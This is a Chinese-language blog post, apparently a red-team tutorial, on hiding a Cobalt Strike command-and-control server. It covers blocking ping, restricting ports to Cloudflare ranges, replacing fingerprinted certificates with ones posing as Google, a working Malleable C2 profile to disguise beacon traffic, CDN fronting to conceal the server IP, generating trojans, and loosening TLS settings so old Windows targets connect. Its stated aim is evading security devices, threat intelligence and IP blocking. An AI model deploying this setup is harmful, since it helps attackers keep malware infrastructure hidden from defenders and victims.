CobaltStrike 之服务器隐藏指北

环境介绍

服务器:阿里云香港 ubuntu22.04 amd64

域名:境外服务商注册,非真实地址,开启 Whois 隐私,现在很难找到匿名免费域名注册商了

证书:Let’s 、 BuyPass CA 等匿名证书颁发机构

CDN:赛博活佛 Cloudflare

CS:Cobalt Strike 4.9.1


CS 服务端配置

服务器防火墙配置

云服务商安全组配置

以阿里云 ECS 为例,添加全部 ICMP 协议的所有来源拒绝策略,即可从外层阻止 ping 流量进入服务器:

此外,还应设置 CS 服务端口和 C2 上线端口只允许 CDN IP 访问,以避免被扫到加入威胁情报中,同时也可以防止他人扫到我们的服务器进行反攻,本文使用的 CLoudflare IP 段在官网可以查到:

IP Ranges | Cloudflare

服务器自身配置

若服务商不支持安全组配置,则可在服务器操作系统层面进行配置,编辑 **/etc/sysctl.conf** 文件,添加一行:

1
net.ipv4.icmp_echo_ignore_all=1

保存后执行 **sysctl -p** 生效配置,此时连本地地址都无法 ping 通:

修改 CS 默认端口

编辑 teamserver 文件,找到最后一行或搜索 50050,修改为其他端口号,建议使用大一些的端口,我这里改为了 56655:

重新启动 CS 服务端便会监听新端口:

修改 CS 默认证书

CS 服务端生成的默认证书具有明显的特征,很容易被安全软件识别,需要替换为我们自己的证书。

有两种方法替换证书,分别为生成密钥库和修改启动文件。

生成密钥库

先删除原有的密钥库文件:

生成新密钥库文件,证书内容可以自定义,不要暴露 CS 特征就可以:

1
keytool -keystore ./cobaltstrike.store -storepass 0123456 -keypass 0123456 -genkey -keyalg RSA -alias Google -dname "CN=Google LLC, C=US"

生成完成后可以使用如下命令查看证书:

1
keytool -list -keystore cobaltstrike.store

启动服务器查看指纹是否一致:

修改启动文件

CS 默认生成证书的配置在 teamserver 文件中,我们也可以修改这个文件实现由 CS 自动创建无 CS 特征的证书。

打开 teamserver 文件找到文件尾部,第 43 行就是默认生成证书的部分:

我们自定义一下证书信息:

这样在后续不存在默认密钥库的情况下自动生成的就是我们自定义的证书了,后续这个密钥库也可使用 cloudflare 申请的证书。

设置流量混淆配置

CS 的默认的通信流量具有明显特征,无论是 HTTP 还是 HTTPS 都容易被安全设备审计监测出,所以需要通过设置配置文件使 CS 通信流量伪装成正常通信。

这里给出 CS 官方的配置文件编写指南和示例配置文件:

www.cobaltstrike.com

GitHub - rsmudge/Malleable-C2-Profiles: Malleable C2 is a domain specific language to redefine indicators in Beacon’s communication. This repository is a collection of Malleable C2 profiles that you may use. These profiles work with Cobalt Strike 3.x.

其他配置文件还有:

Malleable-C2-Profiles/normal at master · xx0hcd/Malleable-C2-Profiles

GitHub - threatexpress/malleable-c2: Cobalt Strike Malleable C2 Design and Reference Guide

GitHub - threatexpress/random_c2_profile: Cobalt Strike random C2 Profile generator

CDN 隐藏服务器 IP

CS 生成的木马为了与服务器通信会带有服务器的 IP、域名等信息,会暴露服务器,容易被封禁 IP 上传情报社区,而使用 CDN 可以很好的规避这一问题。

这里我们选择使用赛博活佛 Cloudflare,免费且域名实名认证。

解析域名至 CDN 服务

添加域名仅需在注册商处修改 DNS 服务器,具体不作阐述,这里我们直接添加域名解析记录到 CS 服务器,可以看到已经解析到 Cloudflare 泛播 IP:

ping 一下域名:

启用完全加密

下一步是将 SSL/TLS 配置修改为完全:

生成 Cloudflare 证书

创建一个 SSL 证书用于 CS 服务端与 Cloudflare 加密通信:

所有设置保持默认就可以,密钥算法建议使用 RSA,改用 ECC 有可能导致 CS 不识别无法启动服务端,保护域名可以根据需求设置为单域名、多域名或泛域名,有效期默认 15 年就可以,一劳永逸:

生成后要立即保存证书和私钥,仅会展示这一次,若丢失需要重新生成:

将证书打包为密钥库 store 文件:

1
2
3
openssl pkcs12 -export -in server.pem -inkey server.key -out server.p12 -name server -passout pass:0123456

keytool -importkeystore -deststorepass 0123456 -destkeypass 0123456 -destkeystore server.store -srckeystore server.p12 -srcstoretype PKCS12 -srcstorepass 0123456 -alias server

这里替换为我的域名使用的命令为:

1
2
3
openssl pkcs12 -export -in csc.lol.pem -inkey csc.lol.key -out csc.lol.p12 -name csc.lol -passout pass:0123456

keytool -importkeystore -deststorepass 0123456 -destkeypass 0123456 -destkeystore csc.lol.store -srckeystore csc.lol.p12 -srcstoretype PKCS12 -srcstorepass 0123456 -alias csc.lol

完成后的文件为:

配置证书到 HTTPS 监听

要想使用我们自己的证书需要使用 C2 Profile 方式配置,示例文件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
https-certificate {
set keystore "csc.lol.store";
set password "0123456";
}

http-stager {
set uri_x86 "/api/1";
set uri_x64 "/api/2";
client {
header "Host" "cs.csc.lol";
}
server {
output{
print;
}
}
}

http-get {
set uri "/api/3";
client {
header "Host" "cs.csc.lol";
metadata {
base64;
header "Cookie";
}
}
server {
output{
print;
}
}
}

http-post {
set uri "/api/4";
client {
header "Host" "cs.csc.lol";
id {
uri-append;
}
output{
print;
}
}
server {
output{
print;
}
}
}

其中 https-certificate 部分为证书相关配置,client.headerHost 的值要为我们申请的域名,其他部分根据需求配置即可。

完成后可使用 ./c2lint server.profile 检验配置文件正确性,验证成功如下图所示:

若配置文件存在错误则会给出具体错误信息,根据提示修改即可:

下一步就可以使用该配置文件启动服务器了:

1
./teamserver 192.168.107.222 123456 csc.lol.profile

生成木马

免费版 Cloudflare 支持的端口如下:

http: 80、8080、8880、2052、2082、2086、2095
https: 443、2053、2083、2087、2096、8443

监听器和木马生成需要做如下配置:

Powershell 方式创建时需要启用 SSL:

成功上线:

抓包可以看到请求 Cloudflare 节点的流量:

老版本 Windows 与 CS SSL 的兼容性问题

WindowsServer 2008 及以下,默认不支持 TLS1 套接字,导致 HTTPS 协商失败无法上线,实际情况下我们无法在目标机器上启用 TLS1 套接字,只能修改 CS 服务器 Java 的安全配置,删除禁用的相关套件:

1
vim /etc/java-8-openjdk/security/java.security

至此已完成利用 CDN 的服务器 IP 隐藏。

除此之外,基于 CDN 技术还可以进一步完善,使用域名前置技术可以让隐藏更上一层楼。

域名前置技术利用其他高信誉正规域名绕过安全设备检测,通过设置 HOST 头让 CDN 连接我们期望的 C2 服务器,在 HTTPS 环境下除非逆向程序信息否则无法获取到真实连接的域名。

域名前置配置和准备步骤比较复杂,此部分就先留个坑过段时间再填,除了使用 CDN 还有隧道代理转发和云函数等方法,个人感觉都不如直接使用 CDN 来的方便与安全,就不着重讲解了,其实利用好上面的 CDN 就很好了。

参考


CobaltStrike 之服务器隐藏指北
https://blog.tddt.cc/posts/5.hide-cs.html
作者
TechPANG
发布于
2024年9月26日
许可协议